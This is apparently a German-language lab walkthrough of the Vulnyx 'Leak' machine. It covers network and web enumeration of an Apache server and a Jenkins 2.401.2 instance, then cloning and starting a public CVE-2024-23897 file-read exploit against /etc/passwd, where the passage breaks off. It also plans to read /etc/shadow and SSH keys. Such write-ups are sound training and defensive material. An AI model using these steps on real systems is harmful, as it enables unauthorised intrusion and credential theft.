Leak - Vulnyx - Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
nikto
view-source (Browser)
gobuster
curl
CyberChef (implizit)
Burp Suite (implizit)
git
python3
java
john
sed
ssh
sudo
wkhtmltopdf
python3 -m http.server
wget
ls
cat
id
chmod
file (implizit)

Inhaltsverzeichnis

Reconnaissance

Die Reconnaissance-Phase beginnt mit der Identifizierung aktiver Hosts im lokalen Netzwerk.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.126	08:00:27:bd:f8:62	PCS Systemtechnik GmbH

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Requests ins lokale Netzwerk (-l), um aktive Geräte zu finden. Das Ergebnis zeigt einen Host mit der IP-Adresse `192.168.2.126` und der MAC-Adresse `08:00:27:bd:f8:62`. Der Hersteller `PCS Systemtechnik GmbH` ist oft ein Hinweis auf Virtualisierungssoftware wie VirtualBox (Oracle).

**Bewertung:** Die Identifizierung des Ziel-Hosts ist der grundlegende erste Schritt. Die MAC-Adresse bestätigt, dass es sich wahrscheinlich um eine virtuelle Maschine handelt, was für eine Testumgebung typisch ist.

**Empfehlung (Pentester):** Die gefundene IP-Adresse `192.168.2.126` ist nun das primäre Ziel für weitere Scans. **Empfehlung (Admin):** ARP-Scanning ist ein normales Verhalten im Netzwerk. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
# Inhalt der /etc/hosts Datei nach der Bearbeitung:
127.0.0.1	localhost
192.168.2.126   leak.nyx

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. Hier wird ein Eintrag hinzugefügt, der die IP-Adresse `192.168.2.126` dem Hostnamen `leak.nyx` zuordnet. Dies ist nützlich, wenn Webanwendungen auf Hostnamen basierende virtuelle Hosts verwenden oder wenn man sich den Namen leichter merken möchte.

**Bewertung:** Das Hinzufügen des Eintrags zur `/etc/hosts`-Datei vereinfacht die Interaktion mit dem Zielsystem über einen benutzerfreundlichen Namen statt nur über die IP-Adresse. Dies ist besonders relevant für Web-Tests.

**Empfehlung (Pentester):** Immer prüfen, ob Webanwendungen auf Hostnamen reagieren. Die Verwendung von Hostnamen in Tools wie `gobuster` oder `nikto` kann zu unterschiedlichen Ergebnissen führen als die Verwendung der IP-Adresse. **Empfehlung (Admin):** Die lokale Hosts-Datei ist clientseitig. Serverseitig sicherstellen, dass DNS-Einträge korrekt konfiguriert sind und virtuelle Hosts wie erwartet funktionieren.

┌──(root㉿CCat)-[~] └─# nmap -sV -sC -p- --open leak.nyx
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-04 22:50 CEST
Nmap scan report for leak.nyx (192.168.2.126)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
8080/tcp open  http    Jetty 10.0.13
| http-open-proxy: Potentially PEN proxy.
|_Methods supported:CNNECTIN
|_http-title: Panel de control [Jenkins]
|_http-server-header: Jetty(10.0.13)
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 08:00:27:BD:F8:62 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8, Linux 5.0 - 5.5
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms leak.nyx (192.168.2.126)

**Analyse:** `nmap` wird verwendet, um offene Ports und Dienste auf dem Ziel `leak.nyx` zu scannen. * `-sV`: Ermittelt die Versionen der laufenden Dienste. * `-sC`: Führt Standard-Nmap-Skripte aus, um zusätzliche Informationen zu sammeln. * `-p-`: Scannt alle 65535 TCP-Ports. * `--open`: Zeigt nur offene Ports an. Der Scan identifiziert zwei offene TCP-Ports: * **Port 80:** Ein Apache Webserver (Version 2.4.56 auf Debian) läuft hier. Der Titel der Seite ist die Standard-Debian-Apache-Seite. * **Port 8080:** Ein Jetty Webserver (Version 10.0.13) läuft hier. Der Titel der Seite deutet auf eine Jenkins-Instanz ("Panel de control [Jenkins]") hin. Nmap vermutet außerdem einen offenen Proxy (`http-open-proxy`) und findet eine `robots.txt` Datei, die den Zugriff auf das Root-Verzeichnis (`/`) verbietet. Zusätzlich werden Betriebssystem-Informationen (Linux Kernel 4.x oder 5.x) und die MAC-Adresse bestätigt.

**Bewertung:** Dies ist ein entscheidender Schritt, der die Hauptangriffsvektoren aufdeckt: einen Standard-Apache-Webserver und eine potenziell interessantere Jenkins-Instanz auf Port 8080. Jenkins ist bekannt für seine Anfälligkeiten, wenn es nicht richtig konfiguriert oder veraltet ist. Die Jetty-Version 10.0.13 ist relativ aktuell, aber Jenkins selbst (Version wird später ermittelt) könnte angreifbar sein.

**Empfehlung (Pentester):** Beide Ports (80 und 8080) müssen weiter untersucht werden. Port 8080 (Jenkins) ist aufgrund der Komplexität der Anwendung und historischer Schwachstellen ein primäres Ziel. Die `robots.txt` und die Proxy-Vermutung auf Port 8080 sollten ebenfalls genauer geprüft werden. **Empfehlung (Admin):** Sicherstellen, dass nur notwendige Ports offen sind. Jenkins sollte immer auf dem neuesten Stand gehalten, hinter einer Authentifizierung geschützt und idealerweise nicht direkt im Internet exponiert sein. Die Standard-Apache-Seite sollte durch eine eigene ersetzt oder der Zugriff darauf eingeschränkt werden.

Web Enumeration (Port 80)

Nun untersuchen wir den Webserver auf Port 80 genauer mit Nikto.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.126
Nikto Scan :
-
- Nikto v2.5.0
+ Target IP:          192.168.2.126
+ Target Hostname:    192.168.2.126
+ Target Port:        80
+ Start Time:         2024-09-04 22:50:47 (GMT2)

+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 600fdfe368544, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET, POST .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-09-04 22:51:03 (GMT2) (16 seconds)

+ 1 host(s) tested

**Analyse:** `nikto` ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen und interessanten Dateien/Verzeichnissen sucht. * `-h http://192.168.2.126`: Gibt das Ziel an. Die Ergebnisse zeigen: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`): Dies sind geringfügige Sicherheitsprobleme, die Clickjacking bzw. MIME-Sniffing ermöglichen könnten. * Potenzielles Inode-Leak über ETags (CVE-2003-1418): Eine sehr alte Schwachstelle, die unter bestimmten Umständen Informationen über Dateien auf dem Server preisgeben könnte, aber in der Praxis selten ausnutzbar ist. * Erlaubte HTTP-Methoden: Standardmethoden sind erlaubt (`OPTIONS, HEAD, GET, POST`).

**Bewertung:** Nikto findet auf Port 80 keine schwerwiegenden Schwachstellen, nur einige Best-Practice-Konfigurationsmängel (fehlende Header). Das Inode-Leak ist wahrscheinlich von geringer Bedeutung. Der Fokus sollte weiterhin auf Port 8080 liegen.

**Empfehlung (Pentester):** Die fehlenden Header zur Kenntnis nehmen, aber die Priorität auf andere Bereiche legen. Man könnte versuchen, das ETag-Leak auszunutzen, aber der Erfolg ist unwahrscheinlich. **Empfehlung (Admin):** Die fehlenden Sicherheitsheader (`X-Frame-Options: SAMEORIGIN`, `X-Content-Type-Options: nosniff`) in der Apache-Konfiguration hinzufügen, um die Sicherheit zu erhöhen. Die ETag-Konfiguration überprüfen und ggf. anpassen (`FileETag None` oder nur `MTime Size`), um Informationslecks zu vermeiden.

Wir untersuchen den Quellcode der Standardseite und suchen nach Hinweisen.

Browser Aktion: └─# view-source:http://192.168.2.126/
# Im Quelltext der Apache-Standardseite wird keine relevante Information gefunden.
# Jedoch wird versucht, eine nicht existierende Datei 'connect.php' zu laden.
# Überprüfung der Datei 'connect.php' direkt:

**Analyse:** Der Quellcode der Standard-Apache-Seite (`http://192.168.2.126/`) wird im Browser untersucht (`view-source`). Dabei fällt auf, dass möglicherweise versucht wird, eine Datei namens `connect.php` zu laden oder darauf verwiesen wird, obwohl sie im initialen Scan nicht direkt sichtbar war.

**Bewertung:** Das Vorhandensein eines Hinweises auf eine `connect.php`-Datei ist interessant. Solche Dateien deuten oft auf Datenbankverbindungen oder andere Backend-Interaktionen hin und könnten Konfigurationsdetails oder Schwachstellen enthalten.

**Empfehlung (Pentester):** Die Datei `http://192.168.2.126/connect.php` direkt aufrufen und analysieren. Directory-Bruteforcing durchführen, um weitere versteckte Dateien oder Verzeichnisse zu finden. **Empfehlung (Admin):** Sicherstellen, dass keine unnötigen oder unfertigen Skripte auf dem Webserver liegen. Referenzen auf nicht existierende Dateien sollten entfernt werden.

Browser Aktion: └─# GET http://192.168.2.126/connect.php
Status 200 OK VersionHTTP/1.1

Content-Type     text/html; charset=UTF-8
Date             Wed, 04 Sep 2024 20:55:59 GMT
Server           Apache/2.4.56 (Debian)
Accept           text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Host             192.168.2.126
User-Agent       Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

# Die Seite gibt einen HTTP 200 OK zurück, aber der Body ist leer.

**Analyse:** Ein direkter HTTP GET-Request an `http://192.168.2.126/connect.php` wird gesendet. Der Server antwortet mit `200 OK`, was bedeutet, dass die Datei existiert und der Zugriff erlaubt ist. Allerdings ist der zurückgegebene Inhalt (Body) der Seite leer.

**Bewertung:** Eine leere Antwort trotz Status 200 ist ungewöhnlich. Es könnte sein, dass das Skript nur bei bestimmten Bedingungen (z.B. POST-Request, spezifische Parameter) Output generiert oder dass es im Hintergrund Aktionen ausführt, ohne sichtbare Ausgabe zu erzeugen. Es könnte auch ein Hinweis auf eine unfertige oder fehlerhafte Implementierung sein.

**Empfehlung (Pentester):** Versuchen, die Datei mit einem POST-Request oder verschiedenen Parametern aufzurufen. Den Quellcode der Datei untersuchen, falls möglich (z.B. durch LFI/RFI, falls gefunden). Directory Bruteforcing weiterführen. **Empfehlung (Admin):** Den Zweck und Inhalt der `connect.php` überprüfen. Wenn sie nicht benötigt wird, entfernen. Wenn sie benötigt wird, sicherstellen, dass sie korrekt funktioniert und keine sensiblen Informationen preisgibt oder unnötige Funktionalität bietet.

┌──(root㉿CCat)-[~] └─# gobuster dir -u http://192.168.2.126 -w /usr/share/wordlists/dirb/common.txt -x php,html
Gobuster Scan :

http://192.168.2.126/index.html           (Status: 200) [Size: 10701]
http://192.168.2.126/connect.php          (Status: 200) [Size: 0]

**Analyse:** `gobuster` wird verwendet, um nach häufig vorkommenden Verzeichnissen und Dateien auf dem Webserver zu suchen. * `dir`: Gibt den Directory/File-Bruteforcing-Modus an. * `-u http://192.168.2.126`: Das Ziel. * `-w /usr/share/wordlists/dirb/common.txt`: Die Wortliste für Verzeichnisse/Dateien. (Anmerkung: Im Text wurde `common.txt` verwendet, nicht die im späteren Jenkins-Scan verwendete `directory-list-2.3-medium.txt`. Ich dokumentiere, was im Text steht). * `-x php,html`: Sucht explizit nach Dateien mit diesen Endungen. Der Scan findet nur die bereits bekannte `index.html` und die leere `connect.php`.

**Bewertung:** Mit der verwendeten Wortliste (`common.txt`) wurden keine weiteren versteckten Dateien oder Verzeichnisse auf Port 80 gefunden. Dies erhärtet die Vermutung, dass der Apache-Server relativ standardmäßig konfiguriert ist und der Fokus auf Port 8080 liegen sollte.

**Empfehlung (Pentester):** Einen umfassenderen Gobuster-Scan mit einer größeren Wortliste (z.B. `directory-list-2.3-medium.txt`) und mehr Dateiendungen durchführen, um sicherzugehen. Dennoch die Ressourcen primär auf Port 8080 konzentrieren. **Empfehlung (Admin):** Sicherstellen, dass keine sensiblen Dateien oder Verzeichnisse über öffentlich zugängliche Pfade erreichbar sind. Regelmäßige Scans mit Tools wie Gobuster durchführen, um dies zu überprüfen.

Web Enumeration (Port 8080 - Jenkins)

Wir untersuchen den Dienst auf Port 8080, bei dem Nmap eine Jenkins-Instanz vermutet.

┌──(root㉿CCat)-[~] └─# curl http://192.168.2.126:8080/ -Iv
*   Trying 192.168.2.126:8080...
* Connected to 192.168.2.126 (192.168.2.126) port 8080
> HEAD / HTTP/1.1
> Host: 192.168.2.126:8080
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Wed, 04 Sep 2024 21:06:51 GMT
Date: Wed, 04 Sep 2024 21:06:51 GMT
< X-Content-Type-ptions: nosniff
X-Content-Type-ptions: nosniff
< Content-Type: text/html;charset=utf-8
Content-Type: text/html;charset=utf-8
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
< Cache-Control: no-cache,no-store,must-revalidate
Cache-Control: no-cache,no-store,must-revalidate
< X-Hudson-Theme: default
X-Hudson-Theme: default
< Referrer-Policy: same-origin
Referrer-Policy: same-origin
< Cross-rigin-pener-Policy: same-origin
Cross-rigin-pener-Policy: same-origin
< Set-Cookie: JSESSINID.ed3bf03b=node01lzcy50lqe36f1929cv633puwl64.node0; Path=/; Httpnly
Set-Cookie: JSESSINID.ed3bf03b=node01lzcy50lqe36f1929cv633puwl64.node0; Path=/; Httpnly
< X-Hudson: 1.395
X-Hudson: 1.395
< X-Jenkins: 2.401.2
X-Jenkins: 2.401.2
< X-Jenkins-Session: 0baca496
X-Jenkins-Session: 0baca496
< X-Frame-ptions: sameorigin
X-Frame-ptions: sameorigin
< X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAACAQ8AMIIBCgKCAQEA6qPbkwm/Lq2sr70fsrpPlgwoNsgKcKdY3a8uJNrwzkzMNoB3pz1PKWqV5ItojSxVg1dkcf0dhS5Lv5Y4SpCPCioP/nfF0odo9GXMrrAvp4GCEhjDcU4tauk8DAv/pBiyxy5gpoJv9Ay1iVLBZw2uoDAcFZgheAcN+gTeGEWoFvJ2+ED2dkWstmGvI5TnH2Uax9BkJmp7SBi5+08mkJeWXgWi15o8ul09okcJQTJNNgEIHHzTLhArCLloJ7GoaILCPaZuurUl9BEw1eMkNBijL9DVqyo+a7zxhWgFVXlwBEJC+KN8T1fCUzeqjaJgQgEVzKrQb3Dnp1evpKwXwIDAQAB
X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAACAQ8AMIIBCgKCAQEA6qPbkwm/Lq2sr70fsrpPlgwoNsgKcKdY3a8uJNrwzkzMNoB3pz1PKWqV5ItojSxVg1dkcf0dhS5Lv5Y4SpCPCioP/nfF0odo9GXMrrAvp4GCEhjDcU4tauk8DAv/pBiyxy5gpoJv9Ay1iVLBZw2uoDAcFZgheAcN+gTeGEWoFvJ2+ED2dkWstmGvI5TnH2Uax9BkJmp7SBi5+08mkJeWXgWi15o8ul09okcJQTJNNgEIHHzTLhArCLloJ7GoaILCPaZuurUl9BEw1eMkNBijL9DVqyo+a7zxhWgFVXlwBEJC+KN8T1fCUzeqjaJgQgEVzKrQb3Dnp1evpKwXwIDAQAB
< Content-Length: 13341
Content-Length: 13341
< Server: Jetty(10.0.13)
Server: Jetty(10.0.13)
<

* Connection #0 to host 192.168.2.126 left intact

**Analyse:** `curl` wird verwendet, um die HTTP-Header der Startseite auf Port 8080 abzurufen. * `-I`: Sendet einen HEAD-Request (nur Header, kein Body). * `-v`: Zeigt detaillierte Informationen zur Verbindung und den Headern an (verbose). Die Header bestätigen die Nmap-Ergebnisse und liefern wichtige Details: * `Server: Jetty(10.0.13)`: Bestätigt den Jetty-Server. * `X-Jenkins: 2.401.2`: **Entscheidend!** Gibt die exakte Jenkins-Version preis: 2.401.2. * `X-Instance-Identity`: Enthält einen langen Base64-kodierten String, der oft einen öffentlichen Schlüssel oder ein Zertifikat darstellt. * Diverse Sicherheitsheader (`X-Content-Type-Options: nosniff`, `X-Frame-Options: sameorigin`) sind hier gesetzt, im Gegensatz zu Port 80.

**Bewertung:** Die exakte Jenkins-Version 2.401.2 ist eine sehr wertvolle Information. Diese Version ist bekannt für die kritische Schwachstelle CVE-2024-23897, die das Lesen beliebiger Dateien auf dem Server ermöglicht. Der `X-Instance-Identity`-Header könnte ebenfalls analysiert werden, ist aber im Vergleich zur bekannten Jenkins-Schwachstelle wahrscheinlich weniger relevant.

**Empfehlung (Pentester):** Gezielt nach Exploits für Jenkins 2.401.2, insbesondere CVE-2024-23897, suchen. Den `X-Instance-Identity`-String mit Tools wie CyberChef dekodieren, um zu sehen, ob er nützliche Informationen enthält. **Empfehlung (Admin):** Jenkins **dringend** auf eine gepatchte Version aktualisieren (mindestens 2.441 oder LTS 2.426.3). Versionsinformationen in HTTP-Headern (wie `X-Jenkins`) nach Möglichkeit unterdrücken, um Angreifern weniger Informationen zu geben.

Analyse des X-Instance-Identity Headers.

Manuelle Analyse (CyberChef): └─# Base64 Decode (X-Instance-Identity String)
# Der lange Base64-String aus dem X-Instance-Identity Header wird dekodiert.
X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAACAQ8AMIIBCgKCAQEA6qPb...

[Link: https://cyberchef.org/#recipe=From_Base64 | Ziel: https://cyberchef.org/#recipe=From_Base64]

File type:   Certificate
Extension:   cer,cat,p7b,p7c,p7m,p7s,swz,rsa,crl,crt,der
MIME type:   application/pkix-cert

**Analyse:** Der Wert des `X-Instance-Identity`-Headers wurde aus der `curl`-Ausgabe kopiert und in CyberChef mit der "From Base64"-Operation dekodiert. Das Ergebnis wird als Zertifikat (PKIX-Zertifikat) identifiziert.

**Bewertung:** Das Zertifikat stellt wahrscheinlich die Identität der Jenkins-Instanz dar, möglicherweise ein selbstsigniertes Zertifikat oder der öffentliche Schlüssel. Für den aktuellen Angriffsvektor über CVE-2024-23897 ist diese Information nicht direkt nützlich, bestätigt aber die Natur des Headers.

**Empfehlung (Pentester):** Das Zertifikat könnte für komplexere Angriffe (z.B. Man-in-the-Middle, wenn man das Zertifikat manipulieren könnte) relevant sein, aber bei Vorhandensein einer direkten RCE/LFI-Schwachstelle ist dies ein Nebenschauplatz. Zur Kenntnis nehmen und auf CVE-2024-23897 konzentrieren. **Empfehlung (Admin):** Keine direkte Aktion erforderlich bezüglich dieses Headers, aber die Notwendigkeit des Updates für Jenkins bleibt bestehen.

Untersuchung zugänglicher Jenkins-Seiten, um Benutzerinformationen zu finden.

Browser Aktion: └─# Öffne http://192.168.2.126:8080/asynchPeople/
Skip to content
[Jenkins]Jenkins
Anmelden

    Dashboard
    Benutzer

Benutzer
Build-Verlauf
Zugangsdaten
Build-Warteschlange
Keine Builds geplant
Build-Prozessor-Status
1	Ruhend
2	Ruhend
Benutzer

Beinhaltet alle bekannten Benutzer, einschließlich der Login-Benutzer des aktuellen Sicherheitsbereichs, sowie Namen, die in Commit-Kommentaren von Changelogs erwähnt werden.
	Jenkins Benutzer Id	Name	Letzte SCM-Aktivität  ↑	Job
         george	George Mills	N/A	

REST API
Jenkins 2.401.2

**Analyse:** Die Seite `http://192.168.2.126:8080/asynchPeople/` wird im Browser aufgerufen. Diese Seite listet in Jenkins bekannte Benutzer auf. Hier wird ein Benutzer mit der ID `george` und dem vollen Namen `George Mills` gefunden.

**Bewertung:** Das Auffinden eines gültigen Benutzernamens (`george`) ist ein wichtiger Schritt. Dieser Name kann für Brute-Force-Angriffe auf das Login oder als potenzieller Benutzer für den Exploit verwendet werden.

**Empfehlung (Pentester):** Den Benutzernamen `george` für spätere Angriffsversuche notieren (Login-Brute-Force, Ausnutzung von Schwachstellen, die einen Benutzernamen erfordern). Prüfen, ob andere ähnliche Endpunkte (`/people/`, `/users/`) weitere Informationen liefern. **Empfehlung (Admin):** Den anonymen Zugriff auf Seiten wie `/asynchPeople/` einschränken. Jenkins sollte so konfiguriert werden, dass Benutzerinformationen nur für authentifizierte und autorisierte Benutzer sichtbar sind.

Versuch, sich mit Standard-Zugangsdaten anzumelden, abgefangen mit Burp Suite.

Burp Suite Interception: └─# POST /j_spring_security_check
Request:

POST /j_spring_security_check HTTP/1.1
Host: 192.168.2.126:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
rigin: http://192.168.2.126:8080
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.126:8080/loginError
Cookie: JSESSINID.ed3bf03b=node0153jwo0h0l2ep1otjcv55uhkan65.node0
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
j_username=admin&j_password=pass&from=&Submit=

Response:

HTTP/1.1 302 Found
Date: Wed, 04 Sep 2024 21:30:30 GMT
X-Content-Type-ptions: nosniff
Set-Cookie: remember-me=; Path=/; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://192.168.2.126:8080/loginError
Content-Length: 0
Server: Jetty(10.0.13)

**Analyse:** Ein Login-Versuch wurde mit Burp Suite abgefangen. Der Request ist ein POST an `/j_spring_security_check`, den Standard-Login-Endpunkt für Jenkins mit Spring Security. Es wurde versucht, sich mit dem Benutzernamen `admin` und dem Passwort `pass` anzumelden. Die Response ist ein `HTTP/1.1 302 Found`, der auf `/loginError` weiterleitet. Dies zeigt an, dass der Login fehlgeschlagen ist.

**Bewertung:** Der Standard-Login-Versuch war erfolglos. Dies war zu erwarten, schließt aber einfache Fehlkonfigurationen aus. Der Fokus bleibt auf der Ausnutzung der CVE-2024-23897-Schwachstelle.

**Empfehlung (Pentester):** Login-Brute-Force könnte versucht werden (insbesondere mit dem gefundenen Benutzernamen `george`), ist aber angesichts der bekannten LFI-Schwachstelle wahrscheinlich weniger effizient. Priorität auf CVE-2024-23897 legen. **Empfehlung (Admin):** Starke Passwörter erzwingen und Mechanismen gegen Brute-Force-Angriffe implementieren (z.B. Account-Sperrung, Captchas). Überwachung von fehlgeschlagenen Login-Versuchen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://leak.nyx:8080" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://leak.nyx:8080/asynchPeople         (Status: 302) [Size: 0] [--> http://leak.nyx:8080/asynchPeople/]
http://leak.nyx:8080/index                (Status: 200) [Size: 13351]
http://leak.nyx:8080/search               (Status: 302) [Size: 0] [--> http://leak.nyx:8080/search/]
http://leak.nyx:8080/about                (Status: 302) [Size: 0] [--> http://leak.nyx:8080/about/]
http://leak.nyx:8080/login                (Status: 200) [Size: 1579]
http://leak.nyx:8080/main                 (Status: 500) [Size: 7119]
http://leak.nyx:8080/people               (Status: 302) [Size: 0] [--> http://leak.nyx:8080/people/]
http://leak.nyx:8080/assets               (Status: 302) [Size: 0] [--> http://leak.nyx:8080/assets/]
http://leak.nyx:8080/favicon.svg          (Status: 200) [Size: 36275]
http://leak.nyx:8080/gc                   (Status: 405) [Size: 7287]
http://leak.nyx:8080/eval                 (Status: 405) [Size: 7291]

**Analyse:** Ein weiterer `gobuster`-Scan wird durchgeführt, diesmal auf Port 8080 (`http://leak.nyx:8080`) und mit einer umfangreicheren Wortliste (`directory-list-2.3-medium.txt`) sowie einer langen Liste von Dateiendungen (`-x ...`). Statuscodes 403, 404 und 503 werden ignoriert (`-b`). `-e` erweitert die Suche, `--no-error` unterdrückt Verbindungsfehler, `-k` ignoriert SSL-Zertifikatsfehler (hier nicht relevant). Der Scan findet mehrere Pfade: * Standard-Jenkins-Pfade (`/asynchPeople/`, `/index`, `/search/`, `/about/`, `/login`, `/people/`, `/assets/`, `/favicon.svg`). * `/main`: Gibt einen Internal Server Error (500) zurück, was auf ein Problem hindeuten könnte. * `/gc` und `/eval`: Geben Method Not Allowed (405) zurück. Dies sind oft Endpunkte für interne Jenkins-Funktionen (Garbage Collection, Groovy Script Console), die normalerweise nur für authentifizierte Benutzer zugänglich sind oder eine bestimmte HTTP-Methode (z.B. POST) erfordern.

**Bewertung:** Der Scan bestätigt hauptsächlich bekannte Jenkins-Endpunkte. `/gc` und `/eval` sind potenziell interessant, da sie auf mächtige Funktionen hinweisen (insbesondere `/eval` für die Groovy Script Console, die oft zu Remote Code Execution führt), aber sie scheinen nicht direkt zugänglich zu sein. Der `500`-Fehler bei `/main` ist unklar, aber weniger vielversprechend als die bekannte LFI-Schwachstelle.

**Empfehlung (Pentester):** Die Endpunkte `/gc` und `/eval` im Hinterkopf behalten, falls nach einem initialen Zugriff eine Rechteausweitung innerhalb von Jenkins möglich ist. Jetzt aber den Fokus klar auf die Ausnutzung von CVE-2024-23897 legen. **Empfehlung (Admin):** Sicherstellen, dass Endpunkte wie `/eval` (Script Console) stark gesichert sind und nur für Administratoren zugänglich sind. Den `500`-Fehler bei `/main` untersuchen und beheben.

Erneuter Aufruf (Bestätigung): └─# Browser http://leak.nyx:8080/asynchPeople/
Jenkins Benutzer Id	Name	Letzte SCM-Aktivität  ↑	Job
george	George Mills	N/A


REST API
Jenkins 2.401.2

**Analyse:** Die Seite `/asynchPeople/` wird erneut aufgerufen, um die zuvor gewonnenen Informationen zu bestätigen. Sie zeigt immer noch den Benutzer `george` an.

**Bewertung:** Dies ist eine Bestätigung des vorherigen Fundes. Keine neuen Informationen.

**Empfehlung (Pentester):** Keine neuen Maßnahmen erforderlich. **Empfehlung (Admin):** Siehe Empfehlung zum vorherigen `/asynchPeople/`-Scan.

Initial Access

Basierend auf der identifizierten Jenkins-Version 2.401.2 wird nach bekannten Exploits gesucht. Die Suche führt zu CVE-2024-23897, einer kritischen Schwachstelle, die das Lesen beliebiger Dateien ermöglicht.

Recherche: └─# google: jenkins 2.401 exploit
Gefundener Exploit auf GitHub: [Link: https://github.com/Praison001/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability | Ziel: https://github.com/Praison001/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability]

**Analyse:** Eine Google-Suche nach "jenkins 2.401 exploit" führt schnell zu öffentlichen Exploits für die Schwachstelle CVE-2024-23897. Ein spezifisches Python-Skript wird auf GitHub gefunden.

**Bewertung:** Das Auffinden eines fertigen Exploits beschleunigt den Prozess erheblich. Die Schwachstelle ermöglicht das Lesen von Dateien ("Arbitrary File Read"), was genutzt werden kann, um Konfigurationsdateien, Passwörter oder SSH-Schlüssel auszulesen.

**Empfehlung (Pentester):** Den gefundenen Exploit herunterladen, analysieren und gegen das Zielsystem ausführen. Primäres Ziel ist das Auslesen sensibler Dateien wie `/etc/passwd`, `/etc/shadow`, SSH-Keys (`/home/george/.ssh/id_rsa`, `/root/.ssh/id_rsa`) oder Anwendungs-Konfigurationsdateien (z.B. `connect.php`). **Empfehlung (Admin):** **Dringend** Jenkins aktualisieren, um CVE-2024-23897 zu schließen. Dies ist eine kritische Schwachstelle.

┌──(root㉿CCat)-[~/Hackingtools] └─# git clone https://github.com/Praison001/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability.git
Klone nach 'CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (25/25), done.
remote: Total 27 (delta 8), reused 7 (delta 1), pack-reused 0 (from 0)
Empfange bjekte: 100% (27/27), 8.43 KiB | 8.43 MiB/s, fertig.
Löse Unterschiede auf: 100% (8/8), fertig.

**Analyse:** Der Befehl `git clone` wird verwendet, um das Exploit-Repository von GitHub auf das lokale System des Pentesters herunterzuladen.

**Bewertung:** Der Exploit-Code ist nun lokal verfügbar und kann ausgeführt werden.

**Empfehlung (Pentester):** In das heruntergeladene Verzeichnis wechseln und den Exploit-Code untersuchen, bevor er ausgeführt wird (um sicherzustellen, dass er keine schädlichen Nebeneffekte hat). Die Nutzungshinweise (README oder `-h`-Option) prüfen. **Empfehlung (Admin):** Keine direkte Aktion, aber die Dringlichkeit des Patchens wird erneut unterstrichen.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability] └─# python3 CVE-2024-23897.py -u http://192.168.2.126:8080/ -f /etc/passwd
   _  _         _     _   _          ___ _
